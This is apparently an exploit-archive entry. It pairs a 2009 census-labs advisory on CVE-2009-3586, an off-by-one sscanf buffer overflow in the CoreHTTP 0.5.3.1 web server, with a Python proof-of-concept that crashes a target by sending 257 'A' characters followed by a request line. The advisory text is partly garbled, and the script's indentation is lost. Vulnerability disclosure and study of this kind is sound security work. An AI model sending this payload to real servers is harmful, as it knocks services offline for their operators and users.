CoreHTTP Web server 0.5.3.1 - Off-by-One Buffer Overflow

# bugtraq: http://seclists.org/bugtraq/2009/Dec/99
# census ID: census-2009-0003
# URL: http://census-labs.com/news/2009/12/02/corehttp-web-server/
# CVE ID: CVE-2009-3586
# Affected Products: CoreHTTP web server versions buffer,
# 46: "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);
# 
# The buffers req and url are declared to be of size 256 bytes (PATHSIZE)
# and the sscanf() call writes 256 bytes (PATHSIZE_S) to these buffers
# without NULL terminating them.
# 
# Note that this is not vulnerability CVE-2007-4060 in which the same
# sscanf() call contained no bounds check at all.
#
# This vulnerability can lead to denial of service attacks against the
# CoreHTTP web server and potentially to the remote execution of
# arbitrary code with the privileges of the user running the server. We
# have developed a proof-of-concept exploit to demonstrate the
# vulnerability:
#
# http://census-labs.com/media/corex.txt
#
# For the time being, one may use the following workaround to address this
# issue, until an official fix is released by the author:
#
# http://census-labs.com/media/corehttp-0.5.3.1-patch.txt
#
# -- 
#Patroklos Argyroudis
#http://www.census-labs.com/

#!/usr/bin/env python
# corex.py -- Patroklos Argyroudis, argp at domain census-labs.com
#
# Denial of service exploit for CoreHTTP web server version <= 0.5.3.1:
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3586
#
# For a detailed analysis see:
#
# http://census-labs.com/news/2009/12/02/corehttp-web-server/

import os
import sys
import socket

def main(argv):
argc = len(argv)

if argc != 3:
print "usage: %s " % (argv[0])
sys.exit(0)

host = argv[1]
port = int(argv[2])

print "[*] target: %s:%d" % (host, port)

payload = "A" * 257 + "/index.html HTTP/1.1\r\n\r\n"

print "[*] payload: %s" % (payload)

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(payload)
sd.close()

if __name__ == "__main__":
main(sys.argv)
sys.exit(0)